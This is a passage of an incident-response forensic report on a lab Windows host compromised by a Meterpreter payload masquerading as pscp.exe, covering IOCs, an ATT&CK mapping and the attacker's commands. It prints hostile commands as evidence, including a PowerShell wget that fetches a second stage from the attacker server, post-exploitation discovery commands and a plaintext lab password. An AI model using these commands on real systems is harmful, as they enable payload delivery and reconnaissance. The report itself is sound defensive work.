Nothing in the available artifacts shows the attacker covering tracks. The Meterpreter operator did not run clearev, timestomp or file deletion. Logs are complete (contiguous RecordIDs), and the payload and downloaded copies keep consistent $SI/$FN timestamps and their Zone.Identifier. The only defense evasion is the Defender weakening (F-004/F-017) and in-memory process injection (F-005). Limits: in-memory-only activity is not visible, and the Sysmon 13 coverage from the SwiftOnSecurity configuration is selective. Confidence is 'probable' because this is a negative result (absence of evidence), although all the relevant sources (EVTX, $MFT, $J, $LogFile, Prefetch, Recycle Bin) were available.

Evidence (14)

UTC	Artifact	Detail	Reference	Original source
2023-11-10 10:15:13.719781	Event logs (EVTX)	EVTX event Security 1100 | Microsoft-Windows-Eventlog | The event logging service has shut down	evtxecmd/ evtxecmd_0.csv#25930	C:\Windows\system32\winevt\logs\Security.evtx
2023-11-10 10:41:53.837229	Event logs (EVTX)	EVTX event Security 1100 | Microsoft-Windows-Eventlog | The event logging service has shut down	evtxecmd/ evtxecmd_0.csv#26729	C:\Windows\system32\winevt\logs\Security.evtx
2023-11-09 11:02:41.058859	Event logs (EVTX)	EVTX event C:\Windows\System32\svchost.exe Security 4616 | Microsoft-Windows-Security-Auditing | The system time was changed | PreviousTime: 2023-11-09 19:00:30.0951550 | NewTime: 2023-11-09 11:02:41.0583308 | LogonId: 0x3E5 | C:\Windows\System32\svchost.exe	evtxecmd/ evtxecmd_0.csv#25172	C:\Windows\system32\winevt\logs\Security.evtx
2023-11-09 11:02:41.058742	Event logs (EVTX)	EVTX event System 1 | Microsoft-Windows-Kernel-General | The system time was changed | OldTime: 2023-11-09 19:00:30.0951550 | NewTime: 2023-11-09 11:02:41.0583308 | Reason: An application or system component changed the time.	evtxecmd/ evtxecmd_0.csv#27708	C:\Windows\system32\winevt\logs\System.evtx
2023-11-10 10:19:53.851269	$MFT	$SI modification (M) C:\Payloads\pscp.exe size=986624	mftecmd_mft/ mft.csv#115203	C:\$MFT

UTC	Artifact	Detail	Reference	Original source
2023-11-10 11:10:55.603703	$MFT	$SI creation (B) ; $FN modification (M) ; $FN access (A) ; $FN MFT change (C) C:\Users\medmondson\1.exe size=986624	mftecmd_mft/ mft.csv#119927	C:\$MFT
2023-11-10 10:21:41.003421	$MFT	$SI creation (B) ; $FN modification (M) ; $FN access (A) ; $FN MFT change (C) C:\Payloads\test.exe size=986624	mftecmd_mft/ mft.csv#109630	C:\$MFT
2023-11-10 10:56:07	Recycle Bin ($I)	Deletion (moved to Recycle Bin) C:\Transcript\20231110\PowerShell_transcript.DESKTOP-KJ81A5A.c4CYCMv_.20231110025534.txt size=11303 $I	rbcmd/ recyclebin_0.csv#2	C:\$Recycle.Bin\S-1-5-21-1841083384-974204330-411256071-1001\$IX8NRQ1.txt
2023-11-10 10:28:22	Recycle Bin ($I)	Deletion (moved to Recycle Bin) C:\Users\medmondson\Desktop\sysmon-config.xml size=0 $I	rbcmd/ recyclebin_0.csv#3	C:\$Recycle.Bin\S-1-5-21-1841083384-974204330-411256071-1001\$IY8CUX9.xml
2023-11-10 11:02:58.244323	$MFT	$SI creation (B) ; $FN modification (M) ; $FN access (A) ; $FN MFT change (C) C:\Transcript\20231110\PowerShell_transcript.DESKTOP-KJ81A5A.6HrokibP.20231110030258.txt size=950	mftecmd_mft/ mft.csv#116397	C:\$MFT
2023-11-10 11:06:40.869319	$MFT	$SI creation (B) ; $FN modification (M) ; $FN access (A) ; $FN MFT change (C) C:\Transcript\20231110\PowerShell_transcript.DESKTOP-KJ81A5A.4_WbZ_YN.20231110030640.txt size=12506	mftecmd_mft/ mft.csv#119921	C:\$MFT
2023-11-10 11:09:10.400596	$MFT	$SI creation (B) ; $FN modification (M) ; $FN access (A) ; $FN MFT change (C) C:\Transcript\20231110\PowerShell_transcript.DESKTOP-KJ81A5A._h_Jx2Ns.20231110030910.txt size=10284	mftecmd_mft/ mft.csv#119924	C:\$MFT
2023-11-10 10:52:42.826084	Event logs (EVTX)	EVTX event C:\Windows\system32\wevtutil.exe uninstall-manifest "C:\ProgramData\Microsoft\Windows Defender\platform\4.18.23100.2009-0\Microsoft-Antimalware-AMFilter.man" Microsoft-Windows-Sysmon/Operational 1 | Microsoft-Windows-Sysmon | Process creation | ProcessID: 1088, ProcessGUID: e6e9f951-0b7a-654e-fa00-000000000500 | RuleName: - | MD5=53748B0CD4C78AF5EF1D4E77F3C873AF,SHA256=E16B9D201EC1D7E29B3AD532A9AD8F1AE0CB5821BB916A79F6DBEB1C6E6B85FA,IMPHASH=34BC1195516E78393351B444DF843666 | ParentProcess: C:\Program Fi	evtxecmd/ evtxecmd_0.csv#18461	C:\Windows\system32\winevt\logs\Microsoft-Windows-Sysmon%4Operational.evtx
2023-11-10 11:38:59.162328	Event logs (EVTX)	EVTX event Microsoft-Windows-Sysmon/Operational 2 | Microsoft-Windows-Sysmon | A process changed a file creation time | ProcessID: 7024, ProcessGUID: e6e9f951-1652-654e-4302-000000000500 | RuleName: T1099 | Image: C:\Users\medmondson\Downloads\NDP452-KB2901954-Web.exe | TargetFilename: C:\26cf4c312f44da411cfc70a7b86d02\header.bmp | CreationTimeUTC: 2014-02-27	evtxecmd/ evtxecmd_0.csv#19971	C:\Windows\system32\winevt\logs\Microsoft-Windows-Sysmon%4Operational.evtx

4.10 Collection, exfiltration and communications

I found no collection, staging, compression or bulk exfiltration that can be attributed to the attacker (F-019, medium/probable).

Archives
- $UsnJrnl and $MFT show these archives created on 2023-11-10:
* - Sysmon[1].zip in the Edge cache.*
* - MSEDGE.7z from an Edge update.*
* - An Appraiser .cab.*
* - The analyst's own tool archives under Desktop\Tools.*
- None was created by an attacker process.

Network connections (Sysmon EID 3)
- The only connection tied to the attack is powershell 736 (GUID {e6e9f951-0f56-654e-af01-000000000500}) from 10.0.0.124:50009 to 10.0.0.12:8080/tcp at 11:10:55 UTC, which downloaded 1.exe.
- Every other connection belongs to OneDrive, EdgeUpdate, SharePoint or the KAPE tooling.
- The Sysmon config does not log network events for pscp.exe or explorer.exe 7324, so the port of the Meterpreter session itself is not recorded.

SRUM
- explorer.exe sent 69 KB in the interval ending 11:43, against 3 KB earlier. That fits low-volume C2 traffic, not bulk exfiltration.
- There are no SRUM records for pscp.exe, 1.exe or test.exe.

Other channels checked
- BITS events 3/59/60: Microsoft jobs only, with no uploads.
- Firewall rules 2004–2006 during the attack window: Firefox only.
- OneDrive: self-update only.
- DNS: no external C2 or cloud-storage queries.

Network IOCs
- No new ones. 10.0.0.12 and http://10.0.0.12:8080/ (including /pscp.exe and /1.exe) were already recorded.

F-019: No collection/staging or bulk exfiltration evidenced; only attacker network peer is 10.0.0.12:8080 (C2/staging), low-volume outbound from injected explorer.exe

Severity	**Medium**
Confidence	probable
Independent sources	artifact:$usnjrnl:$j artifact:srum (network usage per application) evtx:microsoft-windows-bits-client%4operational.evtx evtx:microsoft-windows-powershell%4operational.evtx evtx:microsoft-windows-sysmon%4operational.evtx evtx:microsoft-windows-windows firewall with advanced security%4firewall.evtx
Category	exfiltration / command and control
MITRE ATT&CK	T1041, T1105, T1071.001
Period (UTC)	2023-11-10 10:15:00 → 2023-11-10 11:43:00

Observed facts

Facts: (1) Archives: $UsnJrnl FileCreate of .zip/.7z/.rar/.tar/.gz/.cab on 2023-11-10 after 10:00 UTC are limited to Edge cache Sysmon[1].zip (10:23:48, Sysmon download, usnjrnl#89007 / mft#115566), Edge update MSEDGE.PACKED.7Z/MSEDGE.7z (11:15:07, usnjrnl#135719), Appraiser_AlternateData.cab (11:25:47), Cortana ConstraintIndex.cab and analyst-tool archives under Desktop\Tools (Live_ Acquisition_Tools.7z 11:41:40 usnjrnl#143282, python35.zip, Get-ZimmermanTools.zip, video-triage.zip). No archive created by pscp.exe / explorer 7324 / cmd 5848 / powershell 736. (2) Sysmon EID 3 (33 events, from 11:10:56): only attack-related connection is RecordID 336 (evtxecmd_0.csv#18681): powershell.exe PID 736 GUID {e6e9f951-0f56-654e-af01-000000000500}, 10.0.0.124:50009 -> 10.0.0.12:8080/tcp, UtcTime 11:10:55.573 (wget 1.exe, 4104 evtxecmd_0.csv#8814). All other EID 3 are OneDrive/EdgeUpdate/SharePoint, KAPE/gkape, TimelineExplorer and analyst PowerShell 5300 (s3-1.amazonaws.com, KAPE update). No Sysmon EID 3 for pscp.exe (PID 2196) or explorer.exe 7324 (SwiftOnSecurity config does not log these images). (3) SRUM network usage: explorer.exe (medmondson) BytesSent 69,181 / BytesReceived 86,237 in interval ending 11:43 (srum#111) vs 3,284 sent at 10:15 (srum#61); powershell.exe 3,153 sent / 43,415 received at 11:43 (srum#116). No SRUM record for pscp.exe, 1.exe or test.exe. Largest senders are system/BITS/Firefox/DoSvc (lab setup). (4) BITS-Client 3/59/60: all jobs Microsoft (fs.microsoft.com fonts, g.live.com OneDrive config, oneclient.sfx.ms OneDriveSetup.exe, msedge.f.tlu.dl.delivery.mp.microsoft.com Edge) – no upload job, no 10.0.0.12. (5) Firewall 2004/2005/2006 in 10:15–11:45: only Firefox inbound rules (evtx#24271/24272) – no rule for pscp.exe/C:\Payloads. (6) OneDrive: only self-update (11:13) – no sign of sync of user data; DNS (Sysmon 22) shows no query for an external C2 or cloud-storage/exfil service.

Analysis

There is no artifact of data collection (staging directory, archive creation, compression tool execution) or of transfer via BITS, cloud sync, browser upload or rclone attributable to the attacker. The only remote peer of the attack is 10.0.0.12 on

TCP 8080 (payload hosting and download of 1.exe). The Meterpreter reverse-session socket itself (pscp.exe/explorer 7324) was not logged by Sysmon (config filters), so the C2 port is inferred: 8080 is confirmed only for HTTP staging; the session port could differ. The ~66 KB increase of explorer.exe BytesSent in SRUM between 11:03 and 11:43 is consistent with Meterpreter C2 traffic (command output, netstat/whoami/tasklist results) and possibly the contents of not_my_pass.txt read via the session, but SRUM does not give destination and cannot prove exfiltration of a specific file. Volume excludes any bulk exfiltration. Confidence probable (negative finding, Sysmon coverage starts 10:51 and does not cover explorer network activity).

Evidence (8)

UTC	Artifact	Detail	Reference	Original source
2023-11-10 11:10:56.791298	Event logs (EVTX)	EVTX event C:\Windows\System32\WindowsPowerShell\v1.0\ powershell.exe Microsoft-Windows-Sysmon/Operational 3 | Microsoft-Windows-Sysmon | Network connection | ProcessID: 736, ProcessGUID: e6e9f951-0f56-654e-af01-000000000500 | RuleName: - | SourceHostname: DESKTOP-KJ81A5A.hsd1.md.comcast.net | SourceIp: 10.0.0.124 | DestinationHostname: - | DestinationIp: 10.0.0.12 | C:\ Windows\System32\WindowsPowerShell\v1.0\powersh	evtxecmd/ evtxecmd_0.csv#18681	C:\Windows\system32\ winevt\logs\Microsoft-Windows-Sysmon %4Operational.evtx
2023-11-10 11:10:55.494829	Event logs (EVTX)	EVTX event Microsoft-Windows-PowerShell/Operational 4104 | Microsoft-Windows-PowerShell | Contains contents of scripts run | Path: | ScriptBlockText: wget http://10.0.0.12:8080/1.exe -o 1.exe	evtxecmd/ evtxecmd_0.csv#8814	C:\Windows\system32\ winevt\logs\Microsoft-Windows-PowerShell %4Operational.evtx
2023-11-10 11:43:00	SRUM (network usage per application)	SRUM: network usage (end of period) \device\harddiskvolume4\windows\explorer.exe received=86237 sent=69181 IF_TYPE_ETHERNET_CSMACD	srumecmd/ 20261019151050_SrumECmd_NetworkUsages_Output.csv#111	C:\Windows\system32\ SRU\SRUDB.dat
2023-11-10 10:15:00	SRUM (network usage per application)	SRUM: network usage (end of period) \device\harddiskvolume4\windows\explorer.exe received=68056 sent=3284 IF_TYPE_ETHERNET_CSMACD	srumecmd/ 20261019151050_SrumECmd_NetworkUsages_Output.csv#61	C:\Windows\system32\ SRU\SRUDB.dat
2023-11-10 11:15:07.619336	$UsnJrnl:$J	USN $J C:\PathUnknown\Directory with ID 0x000146ED-00000002\ MSEDGE.PACKED.7Z FileCreate [Archive] entry=83694-2	mftecmd_usnjrnl/ usnjrnl.csv#135719	C:\$Extend\$J
2023-11-10 11:41:40.447180	$UsnJrnl:$J	USN $J C:\Users\medmondson\Desktop\Tools\ Forensic_Program_Files\Live_Acquisition\Live_ Acquisition_Tools.7z FileCreate [Archive] entry=89237-3	mftecmd_usnjrnl/ usnjrnl.csv#143282	C:\$Extend\$J
2023-11-10 11:13:22.056897	Event logs (EVTX)	EVTX event Microsoft-Windows-Bits-Client/Operational 59 | Microsoft-Windows-Bits-Client | BITS transfer has started | jobTitle: UpdateBinary | jobId: f9cdb807-3ff9-4592-8e3f-da45ed8b8cce | URL: https://oneclient.sfx.ms/Win/Installers/23.214.1015.0001/ amd64/OneDriveSetup.exe | Peer: | Total Bytes: 64958880 (Transferred: 0) | Bytes Transferred from Peer: 0	evtxecmd/ evtxecmd_0.csv#7376	C:\Windows\system32\ winevt\logs\Microsoft-Windows-Bits-Client %4Operational.evtx
2023-11-10 10:25:51.789054	Event logs (EVTX)	EVTX event Microsoft-Windows-Windows Firewall With Advanced Security/Firewall 2004 | Microsoft-Windows-Windows Firewall With Advanced Security | A rule has been added to the Windows Defender Firewall exception list | : Firefox (C:\Program Files\Mozilla Firefox) | C:\Program Files\ Mozilla Firefox\firefox.exe | Direction: Inbound | Action: Allow | Protocol: TCP	evtxecmd/ evtxecmd_0.csv#24271	C:\Windows\system32\ winevt\logs\Microsoft-Windows-Windows Firewall With Advanced Security%4Firewall.evtx

5. Indicators of compromise

ID	Type	Value	Context	First seen (UTC)	Last seen (UTC)	References
I-001	sha256	ABBF7B5F7A059348A17DCD8BCD464767125F54B4F8691F0F810AC1819C6CF931	C:\Payloads\pscp.exe (Meterpreter, PuTTY PSCP masquerade); MD5 DED9E58DD95A88A4BEE89B74A65F05F1, IMPHASH ADD361A4F3939AF38D11873F1D74BDED (Sysmon 1 RecordID 305)	2023-11-10 11:03:09.902865	2023-11-10 11:03:09.902865	evtxecmd/ evtxecmd_0.csv#18650
I-002	md5	DED9E58DD95A88A4BEE89B74A65F0	MD5 of C:\Payloads\pscp.exe	2023-11-10	2023-11-10	evtxecmd/

ID	Type	Value	Context	First seen (UTC)	Last seen (UTC)	References
		5F1	(Sysmon 1)	11:03:09.902865	11:03:09.902865	evtxecmd_0.csv#18650
I-003	ip	10.0.0.12	Payload server http://10.0.0.12:8080 (pscp.exe, 1.exe); Defender webfile origin and Sysmon 3 powershell → 10.0.0.12:8080	2023-11-10 10:16:44.708098	2023-11-10 11:10:56.791298	evtxecmd/ evtxecmd_0.csv#23715 evtxecmd/evtxecmd_0.csv#18681
I-004	url	http://10.0.0.12:8080/pscp.exe	Download URL of Meterpreter pscp.exe (Defender 1116, Zone.Identifier)	2023-11-10 10:16:44.708098	2023-11-10 10:19:53.851269	evtxecmd/ evtxecmd_0.csv#23715 mftecmd_mft/mft.csv#115204
I-005	url	http://10.0.0.12:8080/1.exe	Second stage downloaded by powershell PID 736 to C:\Users\ medmondson\1.exe at 11:10:55 UTC	2023-11-10 11:10:55.494829	2023-11-10 11:10:55.494829	evtxecmd/ evtxecmd_0.csv#8814
I-006	file	C:\Payloads\pscp.exe	Malicious executable (Meterpreter), executed 11:03:09 UTC; related files C:\Payloads\test.exe and C:\Users\ medmondson\1.exe (same size 986,624 bytes)	2023-11-10 10:19:53.851269	2023-11-10 11:10:55.603703	evtxecmd/ evtxecmd_0.csv#18650 mftecmd_mft/mft.csv#115203 mftecmd_mft/mft.csv#109630 mftecmd_mft/mft.csv#119927
I-007	file	C:\Payloads\test.exe	Copy of pscp.exe downloaded from http://10.0.0.12:8080/pscp.exe (986,624 B), created 2023-11-10 10:21:41 UTC; not executed per available artifacts.	2023-11-10 10:21:41.003421	2023-11-10 11:36:48.063750	mftecmd_mft/ mft.csv#109630 dissect/powershell_history.jsonl#5
I-008	file	C:\Users\medmondson\1.exe	Downloaded via Meterpreter chain powershell PID 736 from http://10.0.0.12:8080/1.exe at 2023-11-10 11:10:55 UTC (986,624 B); no execution evidence.	2023-11-10 11:10:55.494829	2023-11-10 11:10:55.603703	mftecmd_mft/ mft.csv#119927 evtxecmd/evtxecmd_0.csv#8814
I-009	command	netstat -ntb / whoami /user / net user administrator (parent cmd.exe GUID {e6e9f951-0f52-654e-ad01-000000000500})	Discovery commands issued through Meterpreter shell from injected explorer.exe PID 7324, 11:12–11:13 UTC.	2023-11-10 11:12:23.447885	2023-11-10 11:13:35.772808	evtxecmd/ evtxecmd_0.csv#18688 evtxecmd/evtxecmd_0.csv#18694 evtxecmd/evtxecmd_0.csv#18695
I-010	command	IMPHASH=ADD361A4F3939AF38D11873F1D74BDED (C:\Payloads\ pscp.exe)	Import hash of the Meterpreter payload masquerading as PuTTY PSCP 0.79 (Sysmon 1, 2023-11-10 11:03:09 UTC).	2023-11-10 11:03:09.902865	2023-11-10 11:03:09.902865	evtxecmd/ evtxecmd_0.csv#18650
I-011	user	DESKTOP-KJ81A5A\medmondson (S-1-5-21-1841083384-974204330-411256071-1001), LogonId 0x15347	Legitimate admin account whose elevated session (LogonId 0x15347, logon 2023-11-10 10:42:10) hosted the Meterpreter chain; credentials potentially exposed (lsass remote thread 11:03:56). Reset password.	2023-11-10 10:42:10.277482	2023-11-10 11:03:09.902865	evtxecmd/ evtxecmd_0.csv#26783 evtxecmd/evtxecmd_0.csv#18650
I-012	command	10.0.0.12:8080/tcp	Attacker staging/C2 endpoint. Sysmon 3 from powershell PID 736 (child of the injected explorer chain) at 2023-11-10 11:10:55 UTC, source 10.0.0.124:50009. Same host:port served pscp.exe and 1.exe.	2023-11-10 11:10:56.791298	2023-11-10 11:10:56.791298	evtxecmd/ evtxecmd_0.csv#18681
I-013	file	C:\$Recycle.Bin\S-1-5-21-1841083384-974204330-411256071-1001\$RHOVDEL.exe	Recycled copy of the Meterpreter payload (orig. C:\Users\ medmondson\Downloads\pscp.exe, 986624 B, deleted 10:20:20 UTC, Zone.Identifier HostUrl http://10.0.0.12:8080/pscp.exe). To recover and hash.	2023-11-10 10:19:53.835711	2023-11-10 10:20:20	mftecmd_mft/ mft.csv#115196 rbcmd/recyclebin_0.csv#1
I-014	file	C:\Users\medmondson\Desktop\ not_my_pass.txt	Plaintext credentials (medmondson / password123!@#) created 11:13:56 UTC during the compromise; treat password as exposed.	2023-11-10 11:13:56.556811	2023-11-10 11:13:56.556811	mftecmd_mft/ mft.csv#112639 sidr/DESKTOP-KJ81A5A_File_Report_20261019_151100.037119200.csv#1215
I-015	url	http://10.0.0.12:8080/	Attacker HTTP server index (ReferrerUrl in Zone.Identifier of pscp.exe); visited in Edge at 10:16:36 UTC	2023-11-10 10:16:36.111277	2023-11-10 10:19:53.851269	dissect/ browser.history.jsonl#69 mftecmd_mft/mft.csv#115204
I-016	registry	HKLM\SOFTWARE\Microsoft\ Windows Defender\Exclusions\Paths\ C:\Payloads\	Defender path exclusion created 2023-11-10 10:19:24 UTC (5007), still present at collection; the Meterpreter payload pscp.exe executed from this folder.	2023-11-10 10:19:24.979452	2023-11-10 10:52:49.247111	recmd_kroll/ recmd_kroll_C.csv#1456 evtxecmd/evtxecmd_0.csv#23724
I-017	command	ProcessGuid {e6e9f951-0ded-654e-8f01-000000000500} (pscp.exe PID 2196) -> {e6e9f951-0ded-654e-9001-000000000500} (explorer.exe PID	Sysmon process chain of the Meterpreter implant (hunt key in Sysmon data of other hosts is not transferable, but identifies the chain	2023-11-10 11:03:09.902865	2023-11-10 11:10:55.607209	evtxecmd/ evtxecmd_0.csv#18650 evtxecmd/evtxecmd_0.csv#18651

ID	Type	Value	Context	First seen (UTC)	Last seen (UTC)	References
		7324, migrated) -> cmd.exe {e6e9f951-0e2d-654e-9101-000000000500} PID 6600 / {e6e9f951-0f52-654e-ad01-000000000500} PID 5848 -> powershell 736 {e6e9f951-0f56-654e-af01-000000000500}	on this host).			evtxecmd/evtxecmd_0.csv#18655 evtxecmd/evtxecmd_0.csv#18676 evtxecmd/evtxecmd_0.csv#18680
I-018	file	C:\Windows\Prefetch\PSCP.EXE-1DCA12FC.pf	Prefetch of the malicious pscp.exe (run count 1, last run 2023-11-10 11:03:09.900 UTC).	2023-11-10 11:03:09.900579	2023-11-10 11:03:09.900579	pecmd/ prefetch_0.csv#98
I-019	command	PowerShell HostName=MSFConsole HostApplication=explorer.exe HostId=26d014a9-f96a-4767-98ca-5ee12cac58b9	Meterpreter PowerShell extension loaded inside injected explorer.exe 7324 at 11:06:40 UTC (Windows PowerShell 400/600/800, IEX of base64 Add-WebTransport/Invoke-DcSync bootstrap).	2023-11-10 11:06:40.683825	2023-11-10 11:06:40.900568	evtxecmd/ evtxecmd_0.csv#28055 evtxecmd/evtxecmd_0.csv#28056 evtxecmd/evtxecmd_0.csv#18660
I-020	file	C:\Users\medmondson\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\explorer.exe.log	CLR usage log written by injected explorer.exe 7324 at 11:16:03 UTC (abnormal for explorer.exe; artefact of .NET/PowerShell loading in the Meterpreter-injected process).	2023-11-10 11:16:03.322916	2023-11-10 11:16:03.322916	evtxecmd/ evtxecmd_0.csv#19241

6. MITRE ATT&CK mapping

Technique	Findings / events
T1003.001	F-005, T-004
T1016	F-006, T-005, T-020
T1021.001	F-013
T1021.002	F-013
T1021.006	F-013
T1033	F-006, F-007, T-005, T-010, T-020
T1036.005	F-003, F-005, F-008, F-014, F-016, T-003, T-018
T1041	F-019
T1049	F-007, T-010, T-020
T1053.005	F-010
T1055	F-005, F-008, T-003, T-004, T-018, T-019
T1057	F-006, F-007, T-005, T-020
T1059.001	F-005, F-006, F-008, T-006, T-009, T-019
T1059.003	F-006, F-007
T1070.001	F-018
T1070.004	F-014, F-018
T1070.006	F-018
T1071.001	F-013, F-019
T1078.003	F-012
T1087.001	F-007, F-012, T-010, T-012, T-020
T1105	F-003, F-006, F-009, F-014, F-016, F-019, T-001, T-007, T-008, T-013, T-015
T1204.002	F-003, F-008, F-016, T-009, T-015
T1219	F-013
T1543.003	F-010
T1546.003	F-010
T1546.015	F-010
T1547.001	F-010
T1548	F-012
T1552.001	F-015, T-014
T1562.001	F-004, F-017, T-002, T-016
T1562.002	F-018
T1564.012	F-017

7. Answers to the questions

Q1. What is the malicious executable?

Confidence	confirmed

Independent sources	artifact:prefetch evtx:microsoft-windows-sysmon%4operational.evtx evtx:microsoft-windows-windows defender%4operational.evtx

C:\Payloads\pscp.exe, a Meterpreter payload. Windows Defender detected it as Trojan:Win64/Meterpreter.E three times (Defender 1116/1117 at 10:16:43, 10:17:53 and 10:19:36 UTC) when Edge (browser_broker.exe) downloaded it from http://10.0.0.12:8080/pscp.exe. After the user excluded C:\Payloads\ in Defender and turned off real-time protection, the copy at C:\Payloads\pscp.exe ran on 2023-11-10 at 11:03:09 UTC. Its parent was the elevated PowerShell PID 1088 ({e6e9f951-0de1-654e-8801-000000000500}); the run is Sysmon EID 1, PID 2196, ProcessGuid {e6e9f951-0ded-654e-8f01-000000000500}. Independent sources corroborate the run: Prefetch PSCP.EXE-1DCA12FC.pf (RunCount 1, LastRun 11:03:09.900), SRUM, ShimCache and the PowerShell 4104/PSReadLine entry `.\pscp.exe`. The original Downloads copy is still in the Recycle Bin as $RHOVDEL.exe.

UTC	Artifact	Detail	Reference	Original source
2023-11-10 11:03:09.902865	Event logs (EVTX)	EVTX event "C:\Payloads\pscp.exe" Microsoft-Windows-Sysmon/Operational 1 | Microsoft-Windows-Sysmon | Process creation | ProcessID: 2196, ProcessGUID: e6e9f951-0ded-654e-8f01-000000000500 | RuleName: - | MD5=DED9E58DD95A88A4BEE89B74A65F05F1,SHA256=ABBF7B5F7A059348A17DCD8BCD464767125F54B4F8691F0F810AC1819C6CF931,IMPHASH=ADD361A4F3939AF38D11873F1D74BDED | ParentProcess: C:\Windows\Sy	evtxecmd/ evtxecmd_0.csv#18650	C:\Windows\system32\winevt\logs\Microsoft-Windows-Sysmon%4Operational.evtx
2023-11-10 11:03:09.900579	Prefetch	Execution (Prefetch, last) PSCP.EXE runs=1 hash=1DCA12FC False	pecmd/ prefetch_0.csv#98	C:\Windows\prefetch\PSCP.EXE-1DCA12FC.pf
2023-11-10 10:16:44.708098	Event logs (EVTX)	EVTX event file:_C:\Users\medmondson\Downloads\pscp.exe; webfile:_C:\Users\medmondson\Downloads\pscp.exe| http://10.0.0.12:8080/pscp.exe| pid:8820,ProcessStart:133440850044617643 Microsoft-Windows-Windows Defender/Operational 1116 | Microsoft-Windows-Windows Defender | Detection - The antimalware platform detected malware or other potentially unwanted software | Malware name: Trojan:Win64/Meterpreter.E | Description: Trojan (Severe) | Detection Time: 2023-11-10T10:16:43.470Z | Process (if real-time detection): C:\Windows\Sy	evtxecmd/ evtxecmd_0.csv#23715	C:\Windows\system32\winevt\logs\Microsoft-Windows-Windows Defender%4Operational.evtx
2023-11-10 10:17:54.028923	Event logs (EVTX)	EVTX event file:_C:\Users\medmondson\Downloads\pscp.exe; webfile:_C:\Users\medmondson\Downloads\pscp.exe| http://10.0.0.12:8080/pscp.exe| pid:8364,ProcessStart:133440850738826349 Microsoft-Windows-Windows Defender/Operational 1116 | Microsoft-Windows-Windows Defender | Detection - The antimalware platform detected malware or other potentially unwanted software | Malware name: Trojan:Win64/Meterpreter.E | Description: Trojan (Severe) | Detection Time: 2023-11-10T10:17:53.875Z | Process (if real-time detection): C:\Windows\Sy	evtxecmd/ evtxecmd_0.csv#23722	C:\Windows\system32\winevt\logs\Microsoft-Windows-Windows Defender%4Operational.evtx
2023-11-10 10:19:36.431470	Event logs (EVTX)	EVTX event file:_C:\Users\medmondson\Downloads\pscp.exe; webfile:_C:\Users\medmondson\Downloads\pscp.exe| http://10.0.0.12:8080/pscp.exe| pid:4140,ProcessStart:133440851762938641 Microsoft-Windows-Windows Defender/Operational 1116 | Microsoft-Windows-Windows Defender | Detection - The antimalware platform detected malware or other potentially unwanted software | Malware name: Trojan:Win64/Meterpreter.E | Description: Trojan (Severe) | Detection Time: 2023-11-10T10:19:36.274Z | Process (if real-time detection): C:\Windows\Sy	evtxecmd/ evtxecmd_0.csv#23726	C:\Windows\system32\winevt\logs\Microsoft-Windows-Windows Defender%4Operational.evtx

Q2. What process did the malicious executable migrate to?

Confidence	confirmed
Independent sources	artifact:prefetch evtx:microsoft-windows-sysmon%4operational.evtx

explorer.exe. At 11:03:09.989 UTC pscp.exe (PID 2196) started a new explorer.exe process, PID 7324, ProcessGuid {e6e9f951-0ded-654e-9001-000000000500}, with ParentProcessGuid {e6e9f951-0ded-654e-8f01-000000000500} (Sysmon EID 1). One millisecond later it created a remote thread in that process (Sysmon EID 8, StartAddress 0x0000000000B30000), which is the Meterpreter migrate/injection step. This sacrificial explorer.exe is separate from the user's real shell (explorer PID 2432, GUID {e6e9f951-0907-654e-5c00-000000000500}). From then on the injected explorer 7324 hosted the session. At 11:03:56 it also created a remote thread in lsass.exe (Sysmon EID 8, StartAddress 0x0000028F43080000), which points to credential access (e.g. hashdump/kiwi). That part is an interpretation: the payload run inside lsass is not visible.

UTC	Artifact	Detail	Reference	Original source
2023-11-10 11:03:09.989870	Event logs (EVTX)	EVTX event explorer.exe Microsoft-Windows-Sysmon/Operational 1 | Microsoft-Windows-Sysmon | Process creation | ProcessID: 7324, ProcessGUID: e6e9f951-0ded-654e-9001-000000000500 | RuleName: - | MD5=9FBBF189473A313776019D2EAA72A47A,SHA256=CEF64201A97E08834F5C8952907A1719531A7D99B53309CB2E2956F40CFF3486,IMPHASH=D505016A935B17367AA0263582F3F1E2 | ParentProcess: C:\Payloads\p	evtxecmd/ evtxecmd_0.csv#18651	C:\Windows\system32\winevt\logs\Microsoft-Windows-Sysmon%4Operational.evtx
2023-11-10 11:03:09.990398	Event logs (EVTX)	EVTX event Microsoft-Windows-Sysmon/Operational 8 | Microsoft-Windows-Sysmon | CreateRemoteThread | StartAddress: 0x0000000000B30000 | RuleName: - | SourceProcessID: 2196, SourceProcessGUID: e6e9f951-0ded-654e-8f01-000000000500 | SourceImage: C:\Payloads\pscp.exe | TargetProcessID: 7324, TargetProcessGUID: e6e9f951-0ded-654e-9001-000000000500 | TargetImage: C	evtxecmd/ evtxecmd_0.csv#18652	C:\Windows\system32\winevt\logs\Microsoft-Windows-Sysmon%4Operational.evtx
2023-11-10 11:03:56.300284	Event logs (EVTX)	EVTX event Microsoft-Windows-Sysmon/Operational 8 | Microsoft-Windows-Sysmon | CreateRemoteThread | StartAddress: 0x0000028F43080000 | RuleName: - | SourceProcessID: 7324, SourceProcessGUID: e6e9f951-0ded-654e-9001-000000000500 | SourceImage: C:\Windows\explorer.exe | TargetProcessID: 648, TargetProcessGUID: e6e9f951-0900-654e-0c00-000000000500 | TargetImage:	evtxecmd/ evtxecmd_0.csv#18654	C:\Windows\system32\winevt\logs\Microsoft-Windows-Sysmon%4Operational.evtx
2023-11-10 11:03:09.900579	Prefetch	Execution (Prefetch, last) PSCP.EXE runs=1 hash=1DCA12FC False	pecmd/ prefetch_0.csv#98	C:\Windows\prefetch\PSCP.EXE-1DCA12FC.pf

Q3. Were any situational awareness commands run? If so, what were they?

Confidence	confirmed
Independent sources	artifact:prefetch evtx:microsoft-windows-sysmon%4operational.evtx evtx:windows powershell.evtx

Yes. All of them ran under medmondson's elevated token (LogonId 0x15347) and came from cmd.exe shells whose parent was the injected explorer.exe 7324. Times are UTC on 2023-11-10.

From cmd.exe PID 6600 {e6e9f951-0e2d-654e-9101-000000000500}:
- 11:04:39 `tracert -h`
- 11:05:01 `tracert -m 6 8.8.8.8`
- 11:05:12 `tracert -h 6 8.8.8.8`
- 11:05:41 `quser`

From cmd.exe PID 5848 {e6e9f951-0f52-654e-ad01-000000000500}:
- 11:09:10 `powershell` (PID 736), which ran `wget http://10.0.0.12:8080/1.exe -o 1.exe` at 11:10:55
- 11:11:23 `tasklist`
- 11:12:23 `netstat -ntb`

- 11:13:25 `whoami /user`
- 11:13:35 `net user administrator`, which spawned `net1 user administrator`. Security 4798 records the local Administrator being enumerated.

